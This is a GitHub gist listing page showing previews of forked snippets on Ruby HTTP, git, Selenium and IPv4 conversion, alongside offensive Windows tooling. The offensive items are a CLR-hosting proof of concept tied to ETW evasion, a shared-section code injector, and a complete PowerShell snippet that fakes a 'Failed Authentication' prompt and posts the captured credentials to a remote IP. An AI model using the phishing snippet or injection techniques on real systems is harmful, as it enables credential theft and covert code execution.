Skip to content

Instantly share code, notes, and snippets.

View KINGSABRI's full-sized avatar
♠️

KING SABRI KINGSABRI

♠️
View GitHub Profile
@KINGSABRI
KINGSABRI / clrHosting_v4.0.cpp
Created June 24, 2021 23:17 — forked from aaaddress1/clrHosting_v4.0.cpp
CLR Hosting: running dotNet binary in C/C++ & rewrite from .NET(4+) COM interface
// CLR Hosting, by aaaddress1@chroot.org
//
// it's a new edition rewrite for .NET(4+) COM interface
// original from github.com/etormadiv/HostingCLR
// & blog.xpnsec.com/hiding-your-dotnet-etw
//
// this PoC supports the following .NET entry:
// >>>> static void Main(string[] args);
//
#include <stdio.h>
@KINGSABRI
KINGSABRI / injector.cpp
Created November 18, 2018 10:08 — forked from Barakat/injector.cpp
Code injection using shared sections
#include <Windows.h>
#include <ntdef.h>
#include <cstdint>
#include <cassert>
#include <cstring>
#include <cstdio>
typedef enum
{

1. Clone your fork:

git clone git@github.com:YOUR-USERNAME/YOUR-FORKED-REPO.git

2. Add remote from original repository in your forked repository:

cd into/cloned/fork-repo
git remote add upstream git://github.com/ORIGINAL-DEV-USERNAME/REPO-YOU-FORKED-FROM.git
git fetch upstream
@KINGSABRI
KINGSABRI / gist:fdf0132b0dfb69bc78948c7efc85e886
Created February 14, 2017 11:35 — forked from sonots/gist:8923003
how to use net/http in muliti threads
require 'net/http'
require 'uri'
host = "localhost"
port = 5125
path = "/api/hoge/hoge/hoge"
body = URI.encode_www_form({'number'=>0, 'mode'=>'gauge'})
# 1)
@client = Net::HTTP.new(host, port)
# @client.set_debug_output(STDOUT)
@KINGSABRI
KINGSABRI / dlls.rb
Created August 2, 2016 19:09 — forked from tetsuyainfra/dlls.rb
Windows の Ruby が開いてる dll の一覧を見る@fiddle版
require "fiddle/import"
require 'fiddle/types'
# オリジナル(Win32APIライブラリを使う版)はこちら
# https://rubyist.g.hatena.ne.jp/edvakf/20110405/1301973681
module WIN32API
extend Fiddle::Importer
dlload 'C:\\Windows\\System32\\kernel32.dll'
include Fiddle::Win32Types
extern 'DWORD GetCurrentProcessId()'
@KINGSABRI
KINGSABRI / net_http_digest_auth.rb
Created July 14, 2016 02:14 — forked from n8agrin/net_http_digest_auth.rb
HTTP Digest Auth for Ruby's net/http
# Support for http digest auth
# Discovered here: http://johan.bingodisk.com/public/code/net_digest_auth.rb
require 'digest/md5'
require 'net/http'
module Net
module HTTPHeader
@@nonce_count = -1
CNONCE = Digest::MD5.new("%x" % (Time.now.to_i + rand(65535))).hexdigest
@KINGSABRI
KINGSABRI / java_ruby_unsigned_int_to_hex.rb
Created March 29, 2016 16:40 — forked from vishaltelangre/java_ruby_unsigned_int_to_hex.rb
ruby converting an unsigned int to hexadecimal (java-like implementation)
# In Java, the following expression
# Integer.toHexString(1286933134)
# produces:
# "4cb50a8e"
# and
# Integer.toHexString(-1286933134)
# produces:
# "b34af572"
# ref doc: http://docs.oracle.com/javase/7/docs/api/java/lang/Integer.html#toHexString(int)
@KINGSABRI
KINGSABRI / Selenium Cheat Sheet.md
Created September 24, 2015 05:34 — forked from kenrett/Selenium Cheat Sheet.md
Selenium Cheat Sheet - Ruby

#Getting Started

##Webpage:

<html>
<head>
    <title>Testing with Ruby and Selenium WebDriver</title>
</head>
 
<body bgcolor="antiquewhite">
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('https://172.16.102.163');
# How to convert IPv4 addresses between integer <=> dot-decimal notation
INTEGER = 1698212032
DOT_DECIMAL = '192.168.56.101'
# [ 192, 168, 56, 101 ]
DOT_DECIMAL_PARTS = DOT_DECIMAL.split('.').map(&:to_i)
####################################
# integer to dot-decimal